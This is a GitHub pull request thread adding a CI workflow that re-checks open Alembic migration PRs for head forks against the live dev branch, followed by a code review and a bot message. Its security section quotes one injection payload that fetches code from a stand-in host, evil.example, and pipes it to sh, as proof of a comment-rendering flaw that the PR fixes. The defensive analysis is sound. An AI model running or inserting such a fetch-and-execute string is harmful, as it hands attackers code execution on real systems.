fix(ci): re-check open migration PRs against the live dev tip (#2533)

[AndriiPasternak31]

Fixes #2533

The team ruling this implements

#2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. The ruling was that this is not a checkout bug and must not be "fixed" by changing how schema-parity checks out: that job runs scripts/ci/check_alembic_heads.py unconditionally, and actions/checkout on a pull_request event already resolves refs/pull/N/merge — so the guard was testing the merge result and was correct. It was stale. GitHub recomputes refs/pull/N/merge when the base advances but does not re-trigger workflows, so the last green run can describe a base that no longer exists while the PR reads mergeable, all checks green. #2526 merged 75 minutes after its last green run.

The ruling also priced the complete fixes and rejected them: a GitHub merge queue, or "require branches to be up to date before merging", both close the whole class but are repository settings, not code, and both were priced out on this repo's merge rate. What was approved instead is one small workflow that re-runs the same script, unmodified, over an in-memory git merge-tree of every open migration PR against the live dev tip.

What this adds

File	What
.github/workflows/alembic-head-watch.yml	The watcher. Triggers on push to dev under src/backend/migrations/versions/**; schedule is a dropped-run backstop only; workflow_dispatch can scope to one PR; pull_request is the self-test.
scripts/ci/alembic-head-verdict.js	The status/comment decision, extracted from the inline github-script body so the one path that can publish a false all-clear is executable by a test. Pure, CommonJS.
tests/unit/test_2533_alembic_head_watch.py	57 tests — static guards over the workflow plus behavioural tests that execute the verdict module under node.
docs/memory/architecture.md	Invariant #3 — where the pre-merge guard's freshness comes from.
docs/memory/requirements/infrastructure.md	§8.11, HEADW-001…011.
docs/memory/feature-flows/database-migration-runner.md + index	The triage pointer: a fork can ship green, and why.
docs/memory/learnings.md	The attacker-controlled-rendering pitfall (below).

check_alembic_heads.py is not modified — that is a requirement, not an accident. It already fits by contract (positional version directories, ast.parse and never import, tuple down_revision, loud skip on an absent directory, fail-closed when files exist but none parses).

ADVISORY BY DESIGN

The alembic-head-watch commit status must never be made a required context. This is a property, not a shortcoming:

• The blocking gate already ran and passed. This watcher exists to say "that answer has expired", and a watcher that can itself brick a merge is worse than the gap it closes (the pg-migrations.yml precedent).
• A run that dies leaves the PR mergeable. For a watcher, that is the correct failure direction.
• conflict and unknown publish no status at all rather than success — a false all-clear on a check that never ran is the bug(ci): both nightlies post a false ✅ "clean" to PRs whose suite never ran #2029 failure and nothing corrects it.

What it does NOT cover — said out loud

• The Alembic single-head class only. Staleness is true of every check on a PR. Nothing here helps any of them. Alembic is where it is silent and expensive: the two revision files never conflict textually (different filenames, each individually valid — the defect exists only in the relationship), and alembic upgrade head is singular and resolves its target before applying anything, so a two-head graph applies zero revisions on PostgreSQL.
• It narrows a window; it does not close the class. A PR can still be merged in the gap between a push to dev and this run.
• It cannot block anything. A green PR still needs the usual eyes.
• Post-merge nets are unchanged and still the last line of defence: schema-parity also runs on push to dev, and deploy runs migrations at boot.
• A forked dev suppresses every PR verdict rather than flagging all of them — smearing blame across every open migration PR would reproduce bug(ci): nightly unit-suite reports a false merge conflict on every PR — shallow fetch on both sides leaves no common ancestor #1941's defect (a detector whose output is independent of its input).

Properties I could NOT verify locally, and how the PR's own run confirms them

Everything below is asserted by a static test over the workflow source. A static test proves the file says the right thing; it cannot prove GitHub does it. These three are the ones where that gap is real:

Property	Why local verification is impossible	How this PR confirms it
schedule: trigger fires	schedule: fires only from the default branch (main). The cron arm is structurally dormant until this file reaches main at a release cut.	Not confirmable from this PR at all — and that is expected, stated in HEADW-002 and in the workflow header. The push arm is the mechanism and goes live the moment this merges to dev. Confirm the cron arm after the next release cut, not here.
GITHUB_TOKEN scope — that statuses: write + issues: write + pull-requests: write actually permit createCommitStatus, createComment, updateComment	No local runner has a real GITHUB_TOKEN; a mocked Octokit proves nothing about GitHub's permission model.	The pull_request self-test runs the whole path with DRY_RUN=true and asks the token for nothing, so it cannot prove the write scopes either. These are confirmed on the first real push-to-dev sweep that finds a migration PR — and the run fails loudly if a write was refused: a fork/conflict that publishes neither status nor comment calls core.setFailed ("the finding reached nobody"). Silence is not a possible outcome.
needs: / if: wiring — the step gating (if: steps.discover.outputs.has_prs == 'true', if: always() && …, the same-repo sparse-checkout if:)	Step if: expressions are evaluated by the Actions runner against a live event context. Nothing local reproduces that.	This PR's own pull_request self-test. It is path-filtered to exactly these two files, so it runs on this PR: discover → fetch → merge-tree → archive → guard → verdict → summary, publishing nothing. The job summary shows which steps ran and which were skipped — that is the wiring, executed.

Why a pull_request self-test exists at all: workflow_dispatch cannot reach a workflow that exists only on a feature branch (GitHub resolves dispatchable workflows from the default branch), so without it a change here could not be exercised until after it merged. It also sparse-checks out this PR's scripts/ci into a side path, same-repo only — otherwise the self-test would load dev's verdict module and rehearse nothing, and on the PR that adds the file it could not run at all.

Reviewer, please check the run's job summary for the dry-run line and the per-PR verdict lines. If it says Dry run (pull_request self-test) — evaluated, published nothing, the wiring executed end to end.

Security note (HEADW-011)

Every value the comment renders is attacker-controlled: the heads and the quoted guard text are read out of the PR's own revision files (revision = "<any string>", plus whatever filename was committed), and on a public repo any fork author picks them — while the result posts as a comment carrying github-actions[bot]'s voice. Proven by execution before the fix: revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)" rendered a runnable payload inside the "Fix" instruction, and an id carrying a newline plus a triple backtick closed the hard-coded fence and put attacker markdown into a bot-authored comment.

Two closures, both tested including a control case that proves ordinary input still gets a real command: the quoted block opens with one backtick more than the longest run inside it (CommonMark closes on the first run ≥ the opening fence), and a revision id is interpolated into the pasteable alembic merge command only when it matches ^[A-Za-z0-9._-]{1,255}$, degrading to a <head-a> <head-b> placeholder otherwise. Not RCE — revision files are only ever ast.parsed — but the bot saying something its author did not write is the whole reason anyone trusts the comment.

Variant analysis found the same shape pre-existing in backend-unit-nightly.yml, which splices a PR-derived diff artifact into a <details> block with no fence at all. Out of scope here; filed separately.

Verification run locally

tests/unit/test_2533_alembic_head_watch.py .................... 57 passed
+ test_2068_alembic_heads_guard.py, test_1891_python_version_parity.py,
  test_2350_journey_impact.py, test_1653, test_canary_env_prod_parity,
  test_ent14_registry_env_packaging ............................ 125 passed, 2 skipped
tests/lint_sys_modules.py ...................................... no new violations
YAML parses; `require()` of the verdict module resolves all 8 exports.

dev was merged into this branch and both doc-index conflicts (feature-flows.md, learnings.md — pure append collisions) were resolved keeping both sides; the diff against dev is exactly the 8 files above.

---

🤖 Generated with Claude Code

[dolho]

/review — PR #2590 (AndriiPasternak31/issue-2533 → dev)

Files: 8 (+1877/−2) · Scope: CLEAN — #2533 recommended option (3), a targeted watcher, and that is what landed; the guard (check_alembic_heads.py) is genuinely reused unmodified, which the issue required.

Verified locally: pytest tests/unit/test_2533_alembic_head_watch.py → 57 passed; the workflow parses as YAML; parseGuardOutput's • <head> / They fork at: shapes match what check_alembic_heads.py actually prints (scripts/ci/check_alembic_heads.py:297,300).

The design holds up on the two things that decide whether a watcher is worth having:

• git merge-tree's exit contract is read natively and the overloaded 1 is disambiguated on the tree OID — with the pipeline deliberately removed so pipefail cannot silently reclassify a conflicting PR as clean. That is the #1941 class closed properly rather than re-derived.
• Absence of a verdict is its own state: conflict/unknown publish no status, and mute fails the run when a fork reached nobody. A watcher that can say nothing and pass is the bug; this one can't.

Critical

None.

Informational

[I1] The header's security claim is contradicted by the self-test it also describes (Confidence: 9/10)
.github/workflows/alembic-head-watch.yml:84

# No PR-authored code runs, so pull-requests: write is safe in this job.

But :158 checks out the PR head's scripts/ci and :180-ish repoints verdict_module at it, and the publish step then require()s that file inside a job holding pull-requests: write + issues: write + statuses: write. require() executes the module body — DRY_RUN gates what verdictFor returns, not whether top-level code in the PR's copy runs.

The blast radius is genuinely small and you've fenced it well (if: on same-repo head, so a fork keeps dev's copy; fork tokens are read-only anyway; persist-credentials: false leaves no token file on disk). Same-repo means a collaborator who already has push. So this is not a blocker — but the flat sentence at :84 is the one a future reader will trust when deciding whether to add a scope here, and it is false as written. Two options, either fine:

• reword :84 to the true, narrower claim: no PR-authored code runs except the same-repo self-test's own verdict module, which runs under a token that can write but a DRY_RUN that publishes nothing; or
• move the self-test's publish step into a second job with permissions: {}, which makes the original sentence true again.

The (… publishes nothing) parenthetical at :77 is doing this work today, but it argues about effects, not about execution, which is the property :84 asserts.

[I2] workflow_dispatch has the same default-branch constraint as schedule, and only schedule says so (Confidence: 8/10)
.github/workflows/alembic-head-watch.yml:44-46

The header correctly warns that schedule: fires only from main, so the cron arm is dormant until a release cut. workflow_dispatch resolves from the default branch too — so the pr_number input, which is the obvious thing to reach for the first time someone wants to scope this at a single PR, is equally unavailable in that window. One clause on the existing note costs nothing and saves the confused-first-use.

[I3] dev_head parsing breaks on a revision id containing ) (Confidence: 6/10)
.github/workflows/alembic-head-watch.yml:229

grep -o '1 head ([^)]*)' stops at the first ). Degrades safely (<unparsed> → forkBody falls back to "the current dev head" prose), so this is cosmetic — but note isSafeRevisionId already excludes ) from an id it is willing to render, so the module and the shell disagree about what an id may contain. If you touch this line anyway, worth aligning; not worth a push on its own.

Clean

• Auth/permissions: top-level permissions: {}, job declares exactly the three scopes it uses; contents: read pinned by test.
• Injection: ONLY_PR passed through env: and digit-validated before use; every rendered value is fenced against its own backticks (fenced()), and the alembic merge command is only built from ids matching SAFE_REVISION_ID. The sticky lookup filters on bot authorship, so a user comment quoting the marker cannot 403 the update path (the backend-unit-nightly.yml lesson, applied).
• Tar/symlink: git archive trees cannot carry .. or absolute paths and cannot hold a name as both blob and tree, so no extract-through-symlink; find -type l -delete closes the unbounded-read path regardless.
• Fail-open direction: an unlistable PR is evaluated anyway — the correct direction for a detector whose failure mode is the bug it exists for.
• Status/comment failure domains split into separate try/catch, so a throwing status call can no longer suppress the comment on the one outcome that matters.

Summary

Critical: 0 · Informational: 3 (all non-blocking) · Scope: clean.

Approving. [I1] is a comment fix and I'd like it before merge, but it changes no behaviour and I'm not going to hold a correct watcher on a sentence.

[github-actions]

⚠️ Nightly unit-suite check skipped — merge conflict against dev.

Resolve by running git merge dev locally and pushing the result. The next nightly run will re-test once the conflict is gone.